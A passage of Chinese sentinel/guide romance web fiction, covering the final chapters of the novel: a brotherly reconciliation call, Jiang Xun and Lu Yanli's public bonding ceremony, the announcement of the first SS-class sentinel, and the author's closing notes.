他穿着一身舒适柔软的浅色家居服，头发柔顺地垂坠下来，眼下发青眼眶却有些红。这副模样，配上他隐隐苍白阴郁的面孔，显得有些柔弱，毫无平日里那股子阴冷刻薄的锐利模样。 这副陆厌离完全没见过的模样一入眼，令他眼中刹时浮上一层茫然，张口结舌，一时间居然愣住，忘了自己想说的话。 对面的陆承不知怎的，也是一副有些不太自然的神情。明明是他打过来的通讯，却像是被迫站在全息屏幕面前似的，微侧头撇了眼去，半天没有转过身来看向这端的陆厌离。 两个血缘上本因极为亲近的兄弟，就这样古怪地沉默了半天。最后，还是陆承率先动了。 他的眼神在左右的空气中飘忽了一下，终于落在了陆厌离身上。 “咳，”陆承清了清嗓子，语气有点干巴巴的，“听说你要举行结合仪式了。嗯……恭喜。” 这别别扭扭的道贺，让陆厌离也感觉有些不自在，微微一顿，低声应了一句：“谢谢。” 得到了陆厌离的回应，似乎让陆承松了口气，身上那股子别扭的感觉明显淡了一些。 又停顿了片刻，语气已经正常了许多：“这次联系，主要是想告诉你，你们安心办自己的事，父亲那边……你不用再担心他给你们找麻烦，他现在……哼，正自顾不暇呢。” 陆承没有过多地说关于陆明远的事，点到即止。 陆厌离也没有多问。 “你和陆明远断绝关系，也不用彻底和整个陆家决裂。过阵子，等你在新闻上看到……有了变动，可以回来看看。”陆承带着点生疏，缓缓说道。 一句话说完，却又站在那里，没了动静。 江寻看看对面陆承的表情，再看看陆厌离有些沉默的眉眼，轻轻拉了拉他的手。 这股力道令陆厌离回过神来。看了江寻一眼，再回头看向光屏那端时，语气平静了许多：“我们的结合仪式，两天后在第一广场上举行。你……你有空来吗？” 陆承的表情好似有了什么变化，他向着光屏外看了一眼，随即抿了抿嘴唇，有些不自在地抬眼看向陆厌离：“嗯……应该能抽出点时间吧，那我到时候就过去看看好了。” 说完，似乎是很不习惯说这种话，不等陆厌离回应，最后留下一句“到时候再见。”，便匆匆切断了通讯。 光屏已经黑了下来，陆厌离却似仍然在看着残留下来的影像，脸上因为陆承的话，微微露出些动容。 江寻轻拍了拍他的肩膀，拢住此刻显得有些脆弱的爱人，面上露出一丝微笑。 临睡之前，当一切都渐趋宁静，江寻的终端又轻轻震动了一下。 是一条没有显示出任何人名与号码的简讯。 上面，只有短短四个字： 【祝你幸福。】 江寻的目光在这条匿名信息上停留了几秒，指尖拂过，平静地关闭了终端。揽上身边陆厌离的腰间，将面孔埋进他胸前，微微叹了口气。 心中不禁在此时生出些庆幸。 温柔地吻了吻陆厌离的唇角，在他望过来的明亮目光中，相拥而眠。 缘来缘去，还好我们都没有放弃。 * 两天时间匆匆而过。 虽然结合典礼本身由军部与愈灵殿负责布置，但需要江寻与陆厌离自己准备的杂务也有不少。 这两天时间，他们几乎是一直在忙碌着，终于赶在仪式开始前把准备工作都做好。 此时的第一广场，已经被改造成一片梦幻的仪式会场。而前来现场观看仪式的民众们，也已经沸沸扬扬地将整个会场围在了中央。 会场主体由纯白与星空蓝的鲜花配饰分隔出步道与场地。中间点缀着无数细碎地闪光晶石。在户外阳光照耀的场景下璀璨生辉。 主舞台位于广场正中央，两边是两条长长的铺陈着地毯的步道。而步道两边，靠近议会厅大门的这一侧，摆放着一排高大的靠背椅，这里是嘉宾席；另一边，则是提前布置好了座席的观礼席。 在天刚蒙蒙亮的时候，广场周边就已有军容整齐的军部护卫，围着主场地一周严密驻守，分隔开主会场中的仪式主要参与人员与前来围观的民众们。 他们同时需要承担护卫与维持秩序的职责。 巨大的全息投影光幕在广场的四角上空悬浮着，将中央主区域中的景象，放大投影在空中，供现场的民众们观看。 同时，无人摄像机负责着本场仪式的实时直播，将现场的景象与星网同步，供在网上预约了直播的亿万民众们观看实况转播。 所有由江寻与陆厌离亲自发送请柬邀来观礼的亲朋好友，都集中在观礼席上。此时，大部分的座位已经坐满。 嘉宾席这边，左边的几张椅子上，代表着世家的布瑞克、凡纳、明家三大家族发言人正襟危坐。右侧，则是军部几位实权军团长、愈灵殿殿主索珠阁下及几位代表着联盟重要部门的高层人物。 当联盟元帅、议长阁下与塔系统最高指挥官这联盟三大巨头，在严密护卫下，乘坐着悬浮专车低调抵达现场，并在嘉宾席正中间落座时，现场的气氛顿时达到了一个小高潮。 就在此时，飘荡在广场中的悠扬乐章，来到一个舒缓的段落。 当第一广场身后古老的塔楼上敲响鸣钟，透彻人心的钟罄声响彻整个广场的时候，本次绑定结合仪式，正式开始—— 作者有话说：今天就一更啦。剩下的情节是比较完整的一段，不好分隔。 如无意外，明天应该是正文完结章啦[奶茶]《 》 【全文完】 第260章 古老的钟磬撞出清越鸣响， 在空中悠然回荡。 一群落在塔楼顶端休憩的白鸽，被钟声惊起，咕咕叫着， 拍打翅膀从蔚蓝天空中成群飞过，翅羽划出风刃，吹散几缕浮云。 白鸽消失在天空尽头，在它们渐飞渐远的彼端天空下， 两辆洁白的悬浮车， 分列主场地左右， 缓缓驶入众人眼帘。 场中人声渐渐安静下来，所有人的目光， 连同悬浮着的球形无人摄像机，都将焦点投向那缓缓驶至地毯两端的悬浮车。 颜色造型都一模一样的两道车门，几乎在同一时间开启。 一左一右， 两双挺拔双腿迈步踏上铺满洁白花瓣的地毯。 当众人看清两人模样的时候， 热烈的欢呼声骤然炸响整个广场。 江寻身着崭新的纯白礼服，样式有些像正式的向导礼服，质料柔软顺滑， 又明显经过了改良， 去掉了过长的前后摆， 令他那双有别于其他向导的， 挺拔有力的双腿露了出来。 礼服色做纯白， 阳光耀过却有点点银芒闪过， 仔细看去， 才能看到上面用银色丝线细细绣制的精美花纹。下身礼裤修身简单，但剪裁极好，将他身材的优势完全衬托了出来。 他的面容沉静， 目光明亮，唇角噙笑，周身似乎自然而然地笼罩着一层宁静而强大的气场，令旁人只是看到他，便感觉整个心绪都安静了下来。 另一边走下车子的陆厌离，今天也穿上了少见的白色礼服。但比起江寻的礼服来说，看起来挺括许多。整体形制有点像燕尾服，前短后长。外套打开着，露出里面的绸制衬衫与紧束起来，勾勒出流畅线条的腰封。下身的礼裤比江寻更为修身，末端扎束进直达小腿的靴子里，将双腿运动间显露出的肌肉线条，展现得淋漓尽致。 比起平日里的黑色军装，今天的陆厌离，身上少了几分冷肃，多了几分矜贵。属于军人的那种杀伐凛冽锋芒完全收敛了起来，取而代之的，是从那双碧眸中流淌出来的期待与专注。 两个人，踏着悠扬的乐曲，从铺设在中央高台两侧的通道上，一步一步向着对方走来。便如曾经，他们跨越寰宇，坚定向着对方奔赴而来一般。 越是走近，两人身上自然散发出的精神力场便越发强大。直至两个力场相触，彼此纠缠，而两个人也走到了对方面前。 没有说话，两人隔着一步的距离，彼此凝望。 这瞬间，心中曾翻涌过的种种情绪，尽皆化为汹涌的温柔爱恋。 两人同时向着对方伸出手去，十指紧紧相扣。轻轻一拉，所有距离消失殆尽。 与此同时，周身那穿插纠缠的精神力场，也无声无息地合为圆融一体，一种与之前完全不同的稳定而磅礴的气势，以他们二人为中心悄然弥漫开来。 强大的精神力场，令完全没有精神力天赋的普通人，都感受到了来自他们身上的赫赫威势。但这种威压却不会给人带来恐慌之感，反而令在场所有人有了一种被其温柔保护在羽翼下的安心感。 广场上渐渐变得鸦雀无声，唯有渐渐达到高潮的音乐声萦绕在众人身旁。 广场上，屏幕前，无数人屏息凝神，看着这对简直像是天造地设的伴侣，即使是再冷酷的人，此时心中也不禁动容。 高台中央，两人相视一笑，肩并着肩向着仪式台前走去，目光盈盈流转之间，尽是浑然天成的默契与情谊。 担任着仪式主持的塔最高指挥官塔内尔阁下，此时已经微笑着站在了仪式台后。 这位威严的长者目露欣赏地看了看面前这两位十分年轻，却已然站上哨兵向导顶端的年轻人：“祝贺你们，我为你们骄傲，孩子们。” 之后，他却没有立刻开始进行结合仪式的传统流程，而是转移目光，在广场上环视一圈，又特意看了一眼面前正在进行直播的无人摄影机，抬手打开了连接着扩音设备的麦克风。 他深吸一口气，随后，一道浑厚的声音便清晰地传遍了广场的每一个角落。同时，也传入了此刻无数正在观看这场直播的民众耳中： “各位同胞们！我想，今天之前一定有很多人都在奇怪，联盟为什么要将一个结合仪式举办得如此郑重，现在，我十分荣幸地站在这里，为大家公布这个答案。” 江寻心中一动，侧过头去看了一眼陆厌离，有了某种预感。 果然，塔内尔阁下接着说道： “今天，我们聚集于此，不仅仅是为了见证一场神圣而美好的哨向结合，更是为了共同铭记一个注定会载入联盟史册的伟大时刻！” 说到这里，他略作停顿，抚了抚胸膛，似乎是在平复自己激动的心情。 当场中窸窸窣窣的议论声完全消失，所有人的注意力都凝聚到他接下来的话语上时，塔内尔这才提高了声音，大声宣布： “经联盟最高议会全体审议确认，并经由愈灵殿最高专家组集体认证——陆厌离少将，已成功突破哨兵潜能界限，成为联盟有史以来第一位，SS级哨兵！” 话音落下，整个广场顿时陷入一片寂静当中。 江寻能看到在这刹那间，许多人面上浮现出的疑惑、茫然的表情。 大家仿佛没有理解这短短一句话中，所蕴含的信息。 直至几秒钟的空寂过后—— “陆少将？SS级！”一道不知从哪里传来的震撼到变了调的声音，将所有寂静打破。 随即—— “轰——！” 所有人终于从那番话中反应过来，前所未有的热烈声浪，从场中轰然炸响！ “我们有SS级哨兵了？！” “陆少将突破了潜力上限？！太厉害了！” “联盟万岁！陆少将万岁！” 所有人本就兴奋期待的心情，彻底被这个震撼人心的新消息点燃。 掌声、呐喊声、口哨、欢呼，甚至激动的大笑声，在这一刻混杂在一起，形成了一股将整个广场都席卷进去的狂热洪流。 人们激动地彼此拥抱欢呼，在这一刻，无论什么样的身份地位，所有人都为这属于整个联盟的荣耀，与人类诞生哨兵向导以来，前所未有的巨大突破而兴奋不已。 比现场更加沸腾的，是此刻正在星网上直播的画面。 在这个瞬间，层层叠叠的弹幕，井喷般涌现，几乎完全将屏幕淹没。无数的“SS级！”、“战神陆厌离”、“联盟万岁”等简短而激动人心的弹幕，被数以亿计正在观看直播的民众们发送出来。五颜六色飘飞的词条，密密麻麻从屏幕上滑过。全体民众的情绪都被这突然官宣的消息推向了无可比拟的顶峰！ 此刻，再无人还能想起过去几天，伊莱·凡纳所带来的危机与阴影。 塔内尔阁下面带着笑容，听着整个广场上沸腾的声浪。 静静等了好几分钟，这才缓缓抬起双手，做了一个下压的手势，示意大家冷静下来。 震耳欲聋的欢呼雀跃声，像是被他轻缓的动作抚平，场中逐渐平静下来，只是所有人依然保持着一脸由衷的喜悦，将目光再次聚焦在了仪式台旁的三人身上。 塔内尔环视四周，沉声开口，声音透过扩音器，重新恢复了庄重：“我知道大家都很兴奋，但是，现在我们应该把舞台留给今天真正的主角了。”塔内尔少有地笑着说了一句俏皮话。 接着，他将目光转向江寻与陆厌离，笑容温和而深邃，开始行使作为主持人真正的职责： “在广袤的星海中，两个灵魂的相聚，是缘分，也是奇迹。而在今天，我们面前的两位阁下，决定将这份难得的奇迹因缘继续延续下去，从此，彻底将彼此未来的生命轨迹，交织在一起。” 塔内尔的目光庄重下来：“在联盟与在场所有人的见证下，我在这里，向你们发出最严肃的询问。” “江寻，你是否愿意与陆厌离完全结合？从此成为他永恒的锚点，用你的宁静保护他免受风暴的侵袭，同时，也将你的身躯、你的精神全然栖息于他的守护之下？无论前方是荣耀还是深渊，都认定他是你愿意与之灵魂交融的唯一一人？” 江寻深深看着陆厌离，眼中漾起温柔的波光，微笑点头：“我愿意。” 塔内尔再次将目光转向陆厌离： “陆厌离，你是否愿意与江寻完全结合？从此成为他最坚实的壁垒，用你的力量守护他的安全宁静，同时，也将你的伤痛、你的脆弱完全交予他抚平？无论前方是荣耀还是深渊，都认定他是你愿意与之灵魂交融的唯一一人？” 陆厌离的眼中闪动着期待与激动，满含着依赖与爱恋坚定地看向江寻，毫不犹豫地大声答道：“我愿意！” 两人相视而笑，此刻的他们，眼中只有彼此，心中再无旁骛。 无需更多的言语，他们同时向前迈出最后一步，在亿万道祝福目光的注视中，缓缓凑近，额头相抵，双手紧紧交握在一起。 这是哨向结合仪式中，最为古老也最为核心的一环——精神共鸣。 随着他们眼睛闭起，体内精神海波动起来，无形的精神通道倏然向着彼此，毫无保留地彻底敞开。两人周身气息骤然变化，融汇为一体的精神力一波一波如海潮般上涌，自然而然地向着四面八方翻涌而出。 紧接着，精神通道两端，无形的精神力汇聚、化形，凝成两道模糊身影。 下一刻，一只矫健又威风的长毛灰猫，翻卷着他如流云般的鬃毛一跃而出，两下攀上陆厌离的肩头，用那双与其一模一样的碧眸凝望向精神通道的另一端。 几乎是同时，一声清越鸟唳响起，一只羽翼洁白，神骏优雅的白隼扇动翅膀，一举钻出精神力团，在空中盘旋一圈，而后，同样落在江寻的肩膀上。 就在两只精神体在空气中显出身形的刹那，陆厌离后腰的鲜红羽翼，与江寻锁骨处的银灰藤蔓，同时一热，从皮肤之下浮现出来。下一刻，两人的精神力就像受到了增幅一般，陡然再次增强。 一种源自灵魂深处，几乎触及本源的沟通感传来，江寻与陆厌离同时一颤，只觉这一刻，两人心意完全相通，再无分彼此。 两只精神体根本不需要任何指令，在看到对方的那一刻便迫不及待地凑到一起，亲昵地交颈厮磨，光影纠缠。 与此同时，精神共鸣在两人极高等级的加持下，产生一股庞大又异常柔和温润的精神波动。以两人为中心，轻柔而迅速地扩散开来，如一阵轻柔暖风，瞬间掠过整个广场。 所有在场的哨兵与向导，无论等级高低，当这道暖风拂过身体时，都能感觉到自己的精神空间中骤然一轻，好似蒙在图景上的一层灰尘被一扫而空，一种前所未有的宁静与舒适感觉浮上心头。 这股波动强大到即使是不曾拥有精神力天赋的普通民众，都感觉心绪莫名平和下来，心灵被净化清澈。 塔内尔抬手制止了身旁护卫紧张的守护，感受着这道穿身而过的精神洗礼。又看看广场上民众们面上浮现出的轻松舒适，露出一个由衷的欣慰笑容。 他上前一步，声音洪亮地响彻每一个角落： “以联盟之意志为名，以永恒之星辰为证！我们在这里共同见证并庄严宣告——哨兵陆厌离与向导江寻，自此精神共生，命运相携，结为终身伴侣！” 他再次提高了声调，带领着众人，对两人送出最美好的祝词：“愿你们的结合，如同亘古运转的双星，永远羁绊，永不分离！” 随着他最后一个字落下，广场四角的全息投影骤然变化，组合成一片完整星河，在天空中璀璨亮起。 同时，柔和的光芒自天空洒落下来，伴随着场中骤然飘散出来的纷纷扬扬的洁白花瓣，将仪式台中央那一对相拥的身影完全笼罩起来。 江寻抚上陆厌离的面庞，在对方期待的目光注视下，笑着拥人入怀。 碧瞳黑眸，渐渐靠近，深吻缱绻。 掌声、欢呼声，与祝福的声浪骤然增强，以排山倒海的架势轰然响起，在整个广场中久久回荡。 这些声音，是对英雄的敬仰，对爱情的赞美，以及对联盟未来光明道路的无限期待。 天光穿透薄云，将此刻这完美的一刻，永远定格在联盟璀璨的历史画卷上。 画中一双，笑靥绽放。 …… “……猫猫，跟我回家好不好？” “喵呜~” 猫猫毫不犹豫，第无数次腾跃而起，扎进专属于他的温暖怀抱。 “叮铃铃！” 颈上铭牌闪耀，铃响叮当—— 作者有话说：从4月初开文，到今天，整整8个月时间，感谢所有宝宝的爱护与陪伴！ 第一本文，真的没有想到能写到120万字之多。 在这本文的写作期间，真的发现了自己的很多问题，非常感谢大家对我的宽容！幸运的是，同时也对自己擅长的东西有了一丢丢的认识（笑）。 最骄傲的一点就是，从开文开始，就管住了自己，从未食言。 未入V需要随榜发文的时候，每周都按照预告的时间准时发文；入V后，逼着自己日六，将近半年的时间里，一天都没有懈怠过，拿了一整套的日六全勤。（刚开始真的很难T_T一个小时连1Q字都写不完） 请让我得意地大笑三秒~~哈哈哈~~~ 正文部分，就到这里完结啦。后面会将几个有趣的点子整理成番外继续发出。有后记线，有if线，有纯甜小饼。 这期间，会开始准备下一本阿克塞尔的故事。 之后重整一下文案，写大纲细纲，再存存稿。希望能存个15~20W的稿子再发文。（没有存稿太苦啦） 下一本如无意外，会比这本短很多。打戏会很多，没有这本这么纯爱啦。 人设大概是：认真负责老干部驯兽师VS黑皮大乃无节制暴力狂犬 希望与宝宝们可以在下一本文中继续相遇~~鞠躬~~~ 再次比心[比心][比心][比心]你们就是我所有动力的源泉，永远爱宝宝们！《 》